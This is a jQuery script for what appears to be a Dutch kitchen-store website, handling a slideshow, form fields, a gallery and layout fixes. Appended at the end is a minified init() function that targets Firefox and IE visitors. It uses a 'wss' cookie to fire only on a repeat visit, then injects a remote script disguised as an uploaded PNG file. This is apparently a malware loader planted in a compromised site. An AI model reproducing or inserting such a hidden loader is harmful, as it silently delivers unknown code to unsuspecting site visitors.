/** Slideshow */
$.fn.mooimanSlideshow = function(options) {
	var defaults = {fade: 500,timespan: 7000},settings = $.extend({},defaults,options),s;
	
	function _createNavigation(wrapper,imgCount) {		
		$("ul li:first",wrapper).addClass("first");
		wrapper.append("<div class='slideshow-navigation'><ul></ul></div>");
		var navigation = $(".slideshow-navigation",wrapper);				
		for (i=1;i<=imgCount;i++) {
			$("ul",navigation).append("<li><a href='javascript:;'>" + i + "</a></li>");	
		}	
		if ($.browser.msie && $.browser.version < 7) {			
			var w = 0;navigation.find("li").each(function() {w += $(this).width() + parseInt($(this).css("padding-right"));}).end().width(w);	
		}			
		return navigation;
	}
	
	function _getImage(ul,navigation,prev,current) {			
		$("li.active",navigation).removeClass("active");			
		$("li:eq(" + current + ")",navigation).addClass("active");					
		$("li",ul).css("z-index",9);
		$("li:eq(" + prev + ")",ul).css("z-index",11);
		$("li:eq(" + current + ")",ul).show().css("z-index",10);
		$("li:eq(" + prev + ")",ul).fadeOut(settings.fade,function() {			
			$(this).css("z-index",9);
		});
	}	
	
	return this.each(function() {
		var wrapper = $(this),ul = $(".slider",wrapper),imgCount = $("li",ul).length,current = 0,next = 1,s = "";
						
		if (imgCount > 1) {
			$("li:first",ul).addClass("first").css("z-index",10);
			var navigation = _createNavigation(wrapper,imgCount);
			$("li:first",navigation).addClass("active");		
			$("li a",navigation).click(function() {
				var parent = $(this).parent().eq(0),active = $("li",navigation).index($("li.active",navigation));						
				current = $("li",navigation).index(parent);
				prev = $("li",navigation).index($("li.active",navigation)),
				next = (current == imgCount - 1) ? 0 : current + 1;					
				if (current != active) _getImage(ul,navigation,prev,current);
				if (typeof s != 'undefined') clearInterval(s);
				s = setInterval(_slideshow,settings.timespan);			
			});
			
			//On preview hover the slideShow stops
			wrapper.mouseover(function(ev) {
				if (typeof s != 'undefined') clearInterval(s);
				ev.stopPropagation();
				return false;	
			});
			//On preview mouseout the slideShow continues
			wrapper.mouseout(function(ev) {
				if (typeof s != 'undefined') clearInterval(s);
				s = setInterval(_slideshow,settings.timespan);
				ev.stopPropagation();
				return false;
			});
			
			function _slideshow() {			
				$("li:eq(" + next + ") a",navigation).click();
			}
			var s = setInterval(_slideshow,settings.timespan);
		}		
	});
}

/** Autoclear inputs' and textareas' default value */	
$.fn.inputAutoClear = function() {	
	return this.each(function() {		
		var $this = $(this),val = $this.val() ? $this.val() : ""; 		
		$.data(this,"val",val);		
		var val_ = $.data(this,"val");		
		if (val != '') {					
			$this.bind("focus",function() {								
				if ($this.val() == val_) $this.val('');
			});
			$this.bind("blur",function() {
				if ($this.val() == '') $this.val(val_);
			});
		}
	});
}

$.fn.roundedCorners = function() {
	return this.each(function() {		
		if ($(this).length) {
			$(this)
				.addClass("round")
				.html("<span>" + $(this).html() + "</span>");
		}	
	});
}

$(document).ready(function() {	
	/*Slideshow*/
	$(".header-slider").mooimanSlideshow();
	$(".box-slider .content").mooimanSlideshow();	
	
	/*Image gallery*/
	if ($(".kitchen").length) {
		var w = $(".kitchen"), thumbs = $(".thumbs",w), img = $("#img",w);
		$(".box.detail-box:first",w).addClass("first");
		$("a",thumbs).each(function() {
			$(this).click(function() {
				img.attr("src",$(this).attr("href"));
				return false;
			});
		});
	}
	
	if ($(".first-boxes").length) {
		$(".first-boxes #main .box:first").addClass("noBorder");
		if ($.browser.msie && $.browser.version < 8) {
			$(".first-boxes #main .box").each(function() {
				$(this).parent().before($(this)).remove();
			});
		}	
	}
	
	/*Collection*/
	if ($(".collection").length) {
		$("#main .box:last").addClass("last");
	}
	
	if ($(".content-largebox").length) {
		$(".content-largebox:first").addClass("first");
	}
	
	if ($(".keukenwerelden").length) {
		var w = $(".keukenwerelden"),
			sidebar = $(".sidebar",w).length,
			sidebarCount = $(".sidebar .box",w).length,
			sidebarBoxes = sidebarCount ? sidebarCount - 1 : 0,
			boxFirstRow = sidebarBoxes > 0 ? 4 : 4,
			boxRow = 5,
			boxCount = $("#main .box").length;
		
		//Add .boxes div to calculate box childs for noBorder class
		$("#main")
			.append("<div class='boxes clearfix' />")
			.find(".box")
			.appendTo(".boxes");

		$("#main .boxes .box:first").addClass("noBorder");
		for (i = 0; i < sidebarBoxes; i++) {
			$("#main .boxes .box:eq(" + ((i + 1) * boxFirstRow) + ")").addClass("noBorder");
		}
						
		var r = boxCount - (sidebarBoxes * boxFirstRow) < 0 ? 0 : boxCount - (sidebarBoxes * boxFirstRow),
			longRows = Math.ceil(r / boxRow);	

			
		for (i = 0; i < longRows; i++) {
			$("#main .boxes .box:eq(" + ((i + 1) * (boxRow -1)+ (sidebarBoxes * boxFirstRow)) + ")").addClass("noBorder");
		}

/*		
		for (i = 0; i < longRows; i++) {
			$("#main .boxes .box:eq(" + ((i + 1) * boxRow + (sidebarBoxes * boxFirstRow)) + ")").addClass("noBorder");
		}		
*/
		
		//Insert empty boxes

		if (boxCount != ((sidebarBoxes * boxFirstRow) + (longRows * boxRow))) {			
			empty = Math.abs(boxCount - (sidebarBoxes * boxFirstRow) - (longRows * boxRow));				
			if (longRows) empty--;
			for (i = 0; i < (empty -1); i++) {				
				$("#main .boxes").append("<div class='box empty-box' />");
			}
			//Fix empty boxes
			if ($(".empty-box").length) {
				$(".empty-box:not(:first)").addClass("stretch");
				$(".empty-box.stretch:last:not(:first)").addClass("lastStretch");
				if ($.browser.msie) {
					$(".empty-box:first").removeClass("stretch");
					$(".empty-box.stretch:last").addClass("lastStretch");
					$(".empty-box.stretch:first").removeClass("lastStretch");
				}									
			}
		} 
		
		//Remove .boxes div
		$("#main .boxes .box").each(function() {
			$("#main").append($(this));	
		});
		$("#main .boxes").remove();
	}
	
	/*Product image/info swap*/
	if ($(".img-box").length && $(".img-box .info").length) {
		$(".img-box").has(".info").each(function() {
			$(this).hover(
				function() {
					$(".content",this).hide();
					$(".info",this).show();
				},
				function() {					
					$(".info",this).hide();
					$(".content",this).show();
				}
			);
		});
	}
	
	/*IE round corners*/
	if ($.browser.msie) {
		$("#nav a, #main h1, #content .tx-powermail-pi1_confirmation p").roundedCorners();
	}
}); 

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/uploads/RTEmagicC_aparature_03.png.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
